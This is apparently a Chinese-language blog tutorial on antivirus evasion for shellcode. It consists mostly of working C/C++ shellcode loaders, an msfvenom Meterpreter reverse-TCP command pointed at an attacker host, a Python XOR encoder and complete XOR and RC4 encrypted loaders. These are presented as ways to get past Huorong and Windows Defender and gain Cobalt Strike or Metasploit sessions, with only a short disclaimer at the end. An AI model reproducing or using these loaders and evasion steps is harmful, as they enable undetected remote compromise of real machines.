C/C++ --ShellCode-免杀对抗

介绍:

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。我们经常在CS里面生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。

为什么要使用shellcode:

因为shellcode的免杀手段多,损坏的可能性小,能自定义更多选择。

环境:

攻击机:kali--->cs服务端和msf、win11--->cs客户端

受害机:win10--->虚拟机

调用shellcode的五种原生态方式:

文件名:原生态.c

#include <Windows.h>

#include <stdio.h>

#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")   //windows控制台程序不出黑窗口

unsigned char buf[] = 你的shellcode

int main()

{

//方式一:指针执行

//((void(*)(void)) & buf)();

 //方式二:强制类型转换

//((void(WINAPI*)(void))&buf)();

//方式三:申请动态内存加载

char* Memory;

 Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

 memcpy(Memory, buf, sizeof(buf));

  ((void(*)())Memory)();

//方式四:嵌入汇编加载

//__asm {

//lea eax,buf

//call eax

//}

//方式五:汇编花指令

//__asm{

//mov eax, offset shellcode

//_emit 0xFF

//_emit 0xE0

//}

}

一、保证cs/msf生成的shellcode能正常上线

测试:cs上线

1.kali启动服务端cs

2.windows启动客户端cs连接


3.创建监听器Listeners


4.生成shellcode脚本

5.打开Visual Studio工具,将生成的shellcode放到加载脚本中(使用的调用执行方式是:申请动态内存加载),利用C/C++语言编译成exe执行文件。注意:编译时要注意位数(x86/x64),shellcode是什么位数就要编译成什么位数。


6.上传exe脚本到win10虚拟机,虚拟机运行脚本,cs成功上线。

测试:msf上线

1.kali执行命令,生成shellcode

命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c

2.将shellcode放到执行脚本中(使用的调用执行方式是:申请动态内存加载),利用C/C++语言编译成exe执行文件。


3.启动msf,配置运行监听。


4.上传exe脚本到win10虚拟机,虚拟机运行脚本,msf成功上线。说明环境已经没有问题,开始免杀测试。

免杀对抗-绕过火绒安全软件

环境:win10-安装火绒安全软件

绕过:通过Callback_Shellcode_Injection项目绕过。

介绍:是一款通过回调执行shellcode的poc。因为之前使用的调用shellcode的脚本都是原生态的,都已经被杀毒软件记录了(被杀的不要不要的)。所以可以尝试项目中新的调用shellcode脚本的方式。

下载:

https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection

开始演示

1.打开项目,使用项目中的各种shellcode执行脚本来绕过火绒安全软件的检测

打开Visual Studio工具,创建一个.cpp文件。将项目中的执行脚本复制到.cpp文件中(否则没有生成exe程序的按钮)

2.将执行脚本中的shellcode替换为cs/msf生成的shellcode,然后编译成exe程序。

3.上传到win10,还是被火绒检测出来了。


4.再次尝试其他脚本,直到尝试EnumThreadWindows.cpp调用方式时成功绕过火绒检测。

调用方式:

成功绕过,执行脚本成功上线。此方法还可以使用在其他杀毒软件上(如:360杀毒)。

演示:ShellCode变异-编码混淆加密算法

shellcode变异方式:Xor Aes Hex Rc4 Rsa等

xor异或加密

步骤:生成shellcode——shellcode加密——将加密的shellcode放到和加密规则配套的shellcode执行脚本中——Visual Studio工具编译

1.cs生成64位shellcode,命名为payload.bin

2.将payload.bin放到和xor.py同一目录,运行自写的xor异或加密脚本,将cs生成的shellcode进行xor异或加密的。

在根目录生成名为payload.c经过加密的shellcode。

Xor.py:

import sys

from argparse import ArgumentParser, FileType

def process_bin(num, src_fp, dst_fp, dst_raw):

shellcode = ''

shellcode_size = 0

shellcode_raw = b''

try:

while True:

code = src_fp.read(1)

if not code:

break

base10 = ord(code) ^ num

base10_str = chr(base10)

shellcode_raw += base10_str.encode()

code_hex = hex(base10)

code_hex = code_hex.replace('0x','')

if(len(code_hex) == 1):

code_hex = '0' + code_hex

shellcode += '\\x' + code_hex

shellcode_size += 1

src_fp.close()

dst_raw.write(shellcode_raw)

dst_raw.close()

dst_fp.write(shellcode)

dst_fp.close()

return shellcode_size

except Exception as e:

sys.stderr.writelines(str(e))

def main():

parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: 471656814@qq.com')

parser.add_argument('-v','--version',nargs='?')

parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)

parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)

parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)

parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)

args = parser.parse_args()

shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)

sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))

if __name__ == "__main__":

main()

命令:python xor.py -s payload.bin -d payload.c -n 10 -r out.bin


3.将新的shellcode放到自写的执行脚本xor.cpp中,使用Visual Studio工具编译.

Xor.cpp:

#include <Windows.h>

// 入口函数

int wmain(int argc, TCHAR* argv[]) {

int shellcode_size = 0; // shellcode长度

DWORD dwThreadId; // 线程ID

HANDLE hThread; // 线程句柄

/* length: 800 bytes */

unsigned char buf[] = "shellcode";

// 获取shellcode大小

shellcode_size = sizeof(buf);

/* 增加异或代码 */

for (int i = 0; i < shellcode_size; i++) {

buf[i] ^= 10;

}

/*

VirtualAlloc(

NULL, // 基址

800, // 大小

MEM_COMMIT, // 内存页状态

PAGE_EXECUTE_READWRITE // 可读可写可执行

);

*/

char* shellcode = (char*)VirtualAlloc(

NULL,

shellcode_size,

MEM_COMMIT,

PAGE_EXECUTE_READWRITE

);

// 将shellcode复制到可执行的内存页中

CopyMemory(shellcode, buf, shellcode_size);

hThread = CreateThread(

NULL, // 安全描述符

NULL, // 栈的大小

(LPTHREAD_START_ROUTINE)shellcode, // 函数

NULL, // 参数

NULL, // 线程标志

&dwThreadId // 线程ID

);

WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束

return 0;

}

4.编译成功,将执行脚本上传到win10,成功绕过火绒检测。


运行脚本,cs成功上线


也可以在网上找一个shellcode加密项目尝试绕过。

RC4加密

Rc4.cpp代码:

#include <stdio.h>

#include <windows.h>

#include <iostream>

using namespace std;

unsigned char T[256] = { 0 };

int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)

{

int i = 0, j = 0;

unsigned char t[256] = { 0 };

unsigned char tmp = 0;

for (i = 0; i < 256; i++) {

s[i] = i;

t[i] = key[i % Len];

}

for (i = 0; i < 256; i++) {

j = (j + s[i] + t[i]) % 256;

tmp = s[i];

s[i] = s[j];

s[j] = tmp;

}

for (int i = 0; i < 256; i++)

{

T[i] = s[i];

cout << "0x" << hex << (int)T[i] << ',';

}

cout << endl;

return 0;

}

int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len)

{

int i = 0, j = 0, t = 0;

unsigned char tmp;

for (int k = 0; k < Len; k++)

{

i = (i + 1) % 256;

j = (j + s[i]) % 256;

tmp = s[i];

s[i] = s[j];

s[j] = tmp;

t = (s[i] + s[j]) % 256;

buf[k] ^= s[t];

}

return 0;

}

unsigned int main()

{

char key[] = "reverse";

unsigned char buf[] =

"shellcode";

unsigned char s[256];

rc4_init(s, (unsigned char*)key, strlen(key));

for (size_t i = 0; i < sizeof(buf); i++)

{

rc4_crypt(s, &buf[i], sizeof(buf[i]));

printf("\\x%02x", buf[i]);

}

LPVOID add =

VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

RtlCopyMemory(add, buf, sizeof(buf));

HANDLE handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, 0, 0, 0);

WaitForSingleObject(handle, INFINITE);

return 0;

}

1.安装msf,执行命令生成shellcode

命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c

2.打开Visual Studio工具,创建一个.cpp文件。将rc4.cpp中的执行脚本复制到.cpp文件中(否则没有生成exe程序的按钮)

将rc4.cpp中的shellcode替换为msf生成的shellcode,点击——本地Windows调试器 来加密shellcode。

3.调试成功,生成了加密的shellcode。

4.在将rc4.cpp中的shellcode替换为加密后的shellcode,点击生成,编译为exe执行程序


5.上传程序到目标系统,成功绕过火绒。执行程序,msf成功上线。

想要去除程序执行弹窗:删除代码 printf("\\x%02x", buf[i]); 即可

6.此方法还可以绕过windows自带的杀毒程序:Windows Defender

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。